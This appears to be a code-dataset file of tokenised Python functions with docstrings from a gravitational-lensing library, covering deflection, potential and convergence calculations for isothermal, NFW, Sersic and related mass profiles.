{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "factor = <NUM_LIT> * self.einstein_radius_rescaled * self.axis_ratio / np.sqrt(<NUM_LIT:1> - self.axis_ratio ** <NUM_LIT:2>)<EOL>psi = np.sqrt(np.add(np.multiply(self.axis_ratio ** <NUM_LIT:2>, np.square(grid[:, <NUM_LIT:1>])), np.square(grid[:, <NUM_LIT:0>])))<EOL>deflection_y = np.arctanh(np.divide(np.multiply(np.sqrt(<NUM_LIT:1> - self.axis_ratio ** <NUM_LIT:2>), grid[:, <NUM_LIT:0>]), psi))<EOL>deflection_x = np.arctan(np.divide(np.multiply(np.sqrt(<NUM_LIT:1> - self.axis_ratio ** <NUM_LIT:2>), grid[:, <NUM_LIT:1>]), psi))<EOL>return self.rotate_grid_from_profile(np.multiply(factor, np.vstack((deflection_y, deflection_x)).T))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nFor coordinates (0.0, 0.0) the analytic calculation of the deflection angle gives a NaN. Therefore, \\\ncoordinates at (0.0, 0.0) are shifted slightly to (1.0e-8, 1.0e-8).\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c9:m1"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(SphericalIsothermal, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>,<EOL>einstein_radius=einstein_radius)<EOL>", "docstring": "Represents a spherical isothermal density distribution, which is equivalent to the spherical power-law\ndensity distribution for the value slope: float = 2.0\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\neinstein_radius : float\n    The arc-second Einstein radius.", "id": "f5952:c10:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def potential_from_grid(self, grid):<DEDENT>", "body": "eta = self.grid_to_elliptical_radii(grid)<EOL>return <NUM_LIT> * self.einstein_radius_rescaled * eta<EOL>", "docstring": "Calculate the potential at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c10:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "return self.grid_to_grid_cartesian(grid=grid,<EOL>radius=np.full(grid.shape[<NUM_LIT:0>], <NUM_LIT> * self.einstein_radius_rescaled))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c10:m2"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>kappa_s: float = <NUM_LIT>,<EOL>inner_slope: float = <NUM_LIT:1.0>,<EOL>scale_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(AbstractEllipticalGeneralizedNFW, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>super(MassProfile, self).__init__()<EOL>self.kappa_s = kappa_s<EOL>self.scale_radius = scale_radius<EOL>self.inner_slope = inner_slope<EOL>", "docstring": "The elliptical NFW profiles, used to fit the dark matter halo of the lens.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a).\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis.\nkappa_s : float\n    The overall normalization of the dark matter halo \\\n    (kappa_s = (rho_s * scale_radius)/lensing_critical_density)\ninner_slope : float\n    The inner slope of the dark matter halo\nscale_radius : float\n    The arc-second radius where the average density within this radius is 200 times the critical density of \\\n    the Universe..", "id": "f5952:c11:m0"}
{"signature": "def tabulate_integral(self, grid, tabulate_bins):", "body": "eta_min = <NUM_LIT><EOL>eta_max = <NUM_LIT> * np.max(self.grid_to_elliptical_radii(grid))<EOL>minimum_log_eta = np.log10(eta_min)<EOL>maximum_log_eta = np.log10(eta_max)<EOL>bin_size = (maximum_log_eta - minimum_log_eta) / (tabulate_bins - <NUM_LIT:1>)<EOL>return eta_min, eta_max, minimum_log_eta, maximum_log_eta, bin_size<EOL>", "docstring": "Tabulate an integral over the surface density of deflection potential of a mass profile. This is used in \\\n        the GeneralizedNFW profile classes to speed up the integration procedure.\n\n        Parameters\n        -----------\n        grid : grids.RegularGrid\n            The grid of (y,x) arc-second coordinates the potential / deflection_stacks are computed on.\n        tabulate_bins : int\n            The number of bins to tabulate the inner integral of this profile.", "id": "f5952:c11:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def convergence_from_grid(self, grid):<DEDENT>", "body": "surface_density_grid = np.zeros(shape=grid.shape[<NUM_LIT:0>])<EOL>grid_eta = self.grid_to_elliptical_radii(grid)<EOL>for i in range(grid.shape[<NUM_LIT:0>]):<EOL><INDENT>surface_density_grid[i] = self.convergence_func(grid_eta[i])<EOL><DEDENT>return surface_density_grid<EOL>", "docstring": "Calculate the projected convergence at a given set of arc-second gridded coordinates.\n\n        Parameters\n        ----------\n        grid : grids.RegularGrid\n            The grid of (y,x) arc-second coordinates the surface density is computed on.", "id": "f5952:c11:m2"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def potential_from_grid(self, grid, tabulate_bins=<NUM_LIT:1000>):<DEDENT>", "body": "@jit_integrand<EOL>def deflection_integrand(x, kappa_radius, scale_radius, inner_slope):<EOL><INDENT>return (x + kappa_radius / scale_radius) ** (inner_slope - <NUM_LIT:3>) * ((<NUM_LIT:1> - np.sqrt(<NUM_LIT:1> - x ** <NUM_LIT:2>)) / x)<EOL><DEDENT>eta_min, eta_max, minimum_log_eta, maximum_log_eta, bin_size = self.tabulate_integral(grid, tabulate_bins)<EOL>potential_grid = np.zeros(grid.shape[<NUM_LIT:0>])<EOL>deflection_integral = np.zeros((tabulate_bins,))<EOL>for i in range(tabulate_bins):<EOL><INDENT>eta = <NUM_LIT> ** (minimum_log_eta + (i - <NUM_LIT:1>) * bin_size)<EOL>integral =quad(deflection_integrand, a=<NUM_LIT:0.0>, b=<NUM_LIT:1.0>, args=(eta, self.scale_radius, self.inner_slope),<EOL>epsrel=EllipticalGeneralizedNFW.epsrel)[<NUM_LIT:0>]<EOL>deflection_integral[i] = ((eta / self.scale_radius) ** (<NUM_LIT:2> - self.inner_slope)) * (<EOL>(<NUM_LIT:1.0> / (<NUM_LIT:3> - self.inner_slope)) *<EOL>special.hyp2f1(<NUM_LIT:3> - self.inner_slope, <NUM_LIT:3> - self.inner_slope, <NUM_LIT:4> - self.inner_slope,<EOL>- (eta / self.scale_radius)) + integral)<EOL><DEDENT>for i in range(grid.shape[<NUM_LIT:0>]):<EOL><INDENT>potential_grid[i] = (<NUM_LIT> * self.kappa_s * self.axis_ratio) *quad(self.potential_func, a=<NUM_LIT:0.0>, b=<NUM_LIT:1.0>, args=(grid[i, <NUM_LIT:0>], grid[i, <NUM_LIT:1>],<EOL>self.axis_ratio, minimum_log_eta,<EOL>maximum_log_eta, tabulate_bins,<EOL>deflection_integral),<EOL>epsrel=EllipticalGeneralizedNFW.epsrel)[<NUM_LIT:0>]<EOL><DEDENT>return potential_grid<EOL>", "docstring": "Calculate the potential at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.\ntabulate_bins : int\n    The number of bins to tabulate the inner integral of this profile.", "id": "f5952:c12:m0"}
{"signature": "@grids.grid_interpolate<EOL><INDENT>@geometry_profiles.cache<EOL>@geometry_profiles.transform_grid<EOL>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid, tabulate_bins=<NUM_LIT:1000>):<DEDENT>", "body": "@jit_integrand<EOL>def surface_density_integrand(x, kappa_radius, scale_radius, inner_slope):<EOL><INDENT>return (<NUM_LIT:3> - inner_slope) * (x + kappa_radius / scale_radius) ** (inner_slope - <NUM_LIT:4>) * (<NUM_LIT:1> - np.sqrt(<NUM_LIT:1> - x * x))<EOL><DEDENT>def calculate_deflection_component(npow, index):<EOL><INDENT>deflection_grid = <NUM_LIT> * self.kappa_s * self.axis_ratio * grid[:, index]<EOL>deflection_grid *= quad_grid(self.deflection_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL>grid, args=(npow, self.axis_ratio, minimum_log_eta, maximum_log_eta,<EOL>tabulate_bins, surface_density_integral),<EOL>epsrel=EllipticalGeneralizedNFW.epsrel)[<NUM_LIT:0>]<EOL>return deflection_grid<EOL><DEDENT>eta_min, eta_max, minimum_log_eta, maximum_log_eta, bin_size = self.tabulate_integral(grid, tabulate_bins)<EOL>surface_density_integral = np.zeros((tabulate_bins,))<EOL>for i in range(tabulate_bins):<EOL><INDENT>eta = <NUM_LIT> ** (minimum_log_eta + (i - <NUM_LIT:1>) * bin_size)<EOL>integral = quad(surface_density_integrand, a=<NUM_LIT:0.0>, b=<NUM_LIT:1.0>, args=(eta, self.scale_radius,<EOL>self.inner_slope),<EOL>epsrel=EllipticalGeneralizedNFW.epsrel)[<NUM_LIT:0>]<EOL>surface_density_integral[i] = ((eta / self.scale_radius) ** (<NUM_LIT:1> - self.inner_slope)) *(((<NUM_LIT:1> + eta / self.scale_radius) ** (self.inner_slope - <NUM_LIT:3>)) + integral)<EOL><DEDENT>deflection_y = calculate_deflection_component(<NUM_LIT:1.0>, <NUM_LIT:0>)<EOL>deflection_x = calculate_deflection_component(<NUM_LIT:0.0>, <NUM_LIT:1>)<EOL>return self.rotate_grid_from_profile(np.multiply(<NUM_LIT:1.0>, np.vstack((deflection_y, deflection_x)).T))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.\ntabulate_bins : int\n    The number of bins to tabulate the inner integral of this profile.", "id": "f5952:c12:m1"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>kappa_s: float = <NUM_LIT>,<EOL>inner_slope: float = <NUM_LIT:1.0>,<EOL>scale_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(SphericalGeneralizedNFW, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, kappa_s=kappa_s,<EOL>inner_slope=inner_slope, scale_radius=scale_radius)<EOL>", "docstring": "The spherical NFW profiles, used to fit the dark matter halo of the lens.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\nkappa_s : float\n    The overall normalization of the dark matter halo \\\n    (kappa_s = (rho_s * scale_radius)/lensing_critical_density)\ninner_slope : float\n    The inner slope of the dark matter halo.\nscale_radius : float\n    The arc-second radius where the average density within this radius is 200 times the critical density of \\\n    the Universe..", "id": "f5952:c13:m0"}
{"signature": "@grids.grid_interpolate<EOL><INDENT>@geometry_profiles.cache<EOL>@geometry_profiles.transform_grid<EOL>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid, **kwargs):<DEDENT>", "body": "eta = np.multiply(<NUM_LIT:1.> / self.scale_radius, self.grid_to_grid_radii(grid))<EOL>deflection_grid = np.zeros(grid.shape[<NUM_LIT:0>])<EOL>for i in range(grid.shape[<NUM_LIT:0>]):<EOL><INDENT>deflection_grid[i] = np.multiply(<NUM_LIT> * self.kappa_s * self.scale_radius, self.deflection_func_sph(eta[i]))<EOL><DEDENT>return self.grid_to_grid_cartesian(grid, deflection_grid)<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c13:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid, **kwargs):<DEDENT>", "body": "eta = np.multiply(<NUM_LIT:1.> / self.scale_radius, self.grid_to_grid_radii(grid))<EOL>deflection_grid = np.multiply((<NUM_LIT> * self.kappa_s * self.scale_radius / eta), self.deflection_func_sph(eta))<EOL>return self.grid_to_grid_cartesian(grid, deflection_grid)<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c14:m7"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>kappa_s: float = <NUM_LIT>,<EOL>scale_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(EllipticalNFW, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi, kappa_s=kappa_s,<EOL>inner_slope=<NUM_LIT:1.0>, scale_radius=scale_radius)<EOL>", "docstring": "The elliptical NFW profiles, used to fit the dark matter halo of the lens.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a).\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis.\nkappa_s : float\n    The overall normalization of the dark matter halo \\\n    (kappa_s = (rho_s * scale_radius)/lensing_critical_density)\nscale_radius : float\n    The arc-second radius where the average density within this radius is 200 times the critical density of \\\n    the Universe..", "id": "f5952:c16:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def potential_from_grid(self, grid):<DEDENT>", "body": "potential_grid = quad_grid(self.potential_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>, grid,<EOL>args=(self.axis_ratio, self.kappa_s, self.scale_radius),<EOL>epsrel=<NUM_LIT>)[<NUM_LIT:0>]<EOL>return potential_grid<EOL>", "docstring": "Calculate the potential at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c16:m2"}
{"signature": "@grids.grid_interpolate<EOL><INDENT>@geometry_profiles.cache<EOL>@geometry_profiles.transform_grid<EOL>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "def calculate_deflection_component(npow, index):<EOL><INDENT>deflection_grid = self.axis_ratio * grid[:, index]<EOL>deflection_grid *= quad_grid(self.deflection_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>, grid,<EOL>args=(npow, self.axis_ratio, self.kappa_s,<EOL>self.scale_radius))[<NUM_LIT:0>]<EOL>return deflection_grid<EOL><DEDENT>deflection_y = calculate_deflection_component(<NUM_LIT:1.0>, <NUM_LIT:0>)<EOL>deflection_x = calculate_deflection_component(<NUM_LIT:0.0>, <NUM_LIT:1>)<EOL>return self.rotate_grid_from_profile(np.multiply(<NUM_LIT:1.0>, np.vstack((deflection_y, deflection_x)).T))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c16:m3"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>kappa_s: float = <NUM_LIT>,<EOL>scale_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(SphericalNFW, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, kappa_s=kappa_s,<EOL>scale_radius=scale_radius)<EOL>", "docstring": "The spherical NFW profiles, used to fit the dark matter halo of the lens.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\nkappa_s : float\n    The overall normalization of the dark matter halo \\\n    (kappa_s = (rho_s * scale_radius)/lensing_critical_density)\nscale_radius : float\n    The arc-second radius where the average density within this radius is 200 times the critical density of \\\n    the Universe..", "id": "f5952:c17:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def potential_from_grid(self, grid):<DEDENT>", "body": "eta = (<NUM_LIT:1.0> / self.scale_radius) * self.grid_to_grid_radii(grid) + <NUM_LIT><EOL>return np.real(<NUM_LIT> * self.scale_radius * self.kappa_s * self.potential_func_sph(eta))<EOL>", "docstring": "Calculate the potential at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c17:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "eta = np.multiply(<NUM_LIT:1.> / self.scale_radius, self.grid_to_grid_radii(grid=grid))<EOL>deflection_r = np.multiply(<NUM_LIT> * self.kappa_s * self.scale_radius, self.deflection_func_sph(eta))<EOL>return self.grid_to_grid_cartesian(grid, deflection_r)<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c17:m2"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):<DEDENT>", "body": "super(AbstractEllipticalSersic, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>super(EllipticalMassProfile, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>self.mass_to_light_ratio = mass_to_light_ratio<EOL>self.intensity = intensity<EOL>self.effective_radius = effective_radius<EOL>self.sersic_index = sersic_index<EOL>", "docstring": "The Sersic mass profile, the mass profiles of the light profiles that are used to fit and subtract the lens \\\nmodel_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a).\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The radius containing half the light of this profile.\nsersic_index : float\n    Controls the concentration of the of the profile (lower value -> less concentrated, \\\n    higher value -> more concentrated).\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5952:c18:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def convergence_from_grid(self, grid):<DEDENT>", "body": "return self.convergence_func(self.grid_to_eccentric_radii(grid))<EOL>", "docstring": "Calculate the projected convergence at a given set of arc-second gridded coordinates.\n\n        Parameters\n        ----------\n        grid : grids.RegularGrid\n            The grid of (y,x) arc-second coordinates the surface density is computed on.", "id": "f5952:c18:m1"}
{"signature": "def intensity_at_radius(self, radius):", "body": "return self.intensity * np.exp(<EOL>-self.sersic_constant * (((radius / self.effective_radius) ** (<NUM_LIT:1.> / self.sersic_index)) - <NUM_LIT:1>))<EOL>", "docstring": "Compute the intensity of the profile at a given radius.\n\n        Parameters\n        ----------\n        radius : float\n            The distance from the centre of the profile.", "id": "f5952:c18:m4"}
{"signature": "@property<EOL><INDENT>def sersic_constant(self):<DEDENT>", "body": "return (<NUM_LIT:2> * self.sersic_index) - (<NUM_LIT:1.> / <NUM_LIT>) + (<NUM_LIT> / (<NUM_LIT> * self.sersic_index)) + (<EOL><NUM_LIT> / (<NUM_LIT> * self.sersic_index ** <NUM_LIT:2>)) + (<NUM_LIT> / (<NUM_LIT> * self.sersic_index ** <NUM_LIT:3>)) - (<EOL><NUM_LIT> / (<NUM_LIT> * self.sersic_index ** <NUM_LIT:4>))<EOL>", "docstring": "A parameter derived from Sersic index which ensures that effective radius contains 50% of the profile's\n        total integrated light.", "id": "f5952:c18:m5"}
{"signature": "@property<EOL><INDENT>def elliptical_effective_radius(self):<DEDENT>", "body": "return self.effective_radius / np.sqrt(self.axis_ratio)<EOL>", "docstring": "The effective_radius of a Sersic light profile is defined as the circular effective radius. This is the \\\n        radius within which a circular aperture contains half the profiles's total integrated light. For elliptical \\\n        systems, this won't robustly capture the light profile's elliptical shape.\n\n        The elliptical effective radius instead describes the major-axis radius of the ellipse containing \\\n        half the light, and may be more appropriate for highly flattened systems like disk galaxies.", "id": "f5952:c18:m6"}
{"signature": "@grids.grid_interpolate<EOL><INDENT>@geometry_profiles.cache<EOL>@geometry_profiles.transform_grid<EOL>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "def calculate_deflection_component(npow, index):<EOL><INDENT>sersic_constant = self.sersic_constant<EOL>deflection_grid = self.axis_ratio * grid[:, index]<EOL>deflection_grid *= quad_grid(self.deflection_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>, grid,<EOL>args=(npow, self.axis_ratio, self.intensity,<EOL>self.sersic_index, self.effective_radius,<EOL>self.mass_to_light_ratio, sersic_constant))[<NUM_LIT:0>]<EOL>return deflection_grid<EOL><DEDENT>deflection_y = calculate_deflection_component(<NUM_LIT:1.0>, <NUM_LIT:0>)<EOL>deflection_x = calculate_deflection_component(<NUM_LIT:0.0>, <NUM_LIT:1>)<EOL>return self.rotate_grid_from_profile(np.multiply(<NUM_LIT:1.0>, np.vstack((deflection_y, deflection_x)).T))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c19:m1"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):<DEDENT>", "body": "super(SphericalSersic, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=sersic_index,<EOL>mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The Sersic mass profile, the mass profiles of the light profiles that are used to fit and subtract the lens\nmodel_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The circular radius containing half the light of this profile.\nsersic_index : float\n    Controls the concentration of the of the profile (lower value -> less concentrated, \\\n    higher value -> more concentrated).\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profile.", "id": "f5952:c20:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):<DEDENT>", "body": "super(EllipticalExponential, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=<NUM_LIT:1.0>,<EOL>mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The EllipticalExponential mass profile, the mass profiles of the light profiles that are used to fit and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a).\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The circular radius containing half the light of this profile.\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5952:c21:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):<DEDENT>", "body": "super(SphericalExponential, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius,<EOL>mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The Exponential mass profile, the mass profiles of the light profiles that are used to fit and subtract the lens\nmodel_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The circular radius containing half the light of this profile.\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles.", "id": "f5952:c22:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):<DEDENT>", "body": "super(EllipticalDevVaucouleurs, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity, effective_radius=effective_radius,<EOL>sersic_index=<NUM_LIT>, mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The EllipticalDevVaucouleurs mass profile, the mass profiles of the light profiles that are used to fit and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a).\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The radius containing half the light of this profile.\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profile.", "id": "f5952:c23:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):<DEDENT>", "body": "super(SphericalDevVaucouleurs, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius,<EOL>mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The DevVaucouleurs mass profile, the mass profiles of the light profiles that are used to fit and subtract the\nlens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The circular radius containing half the light of this profile.\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles.", "id": "f5952:c24:m0"}
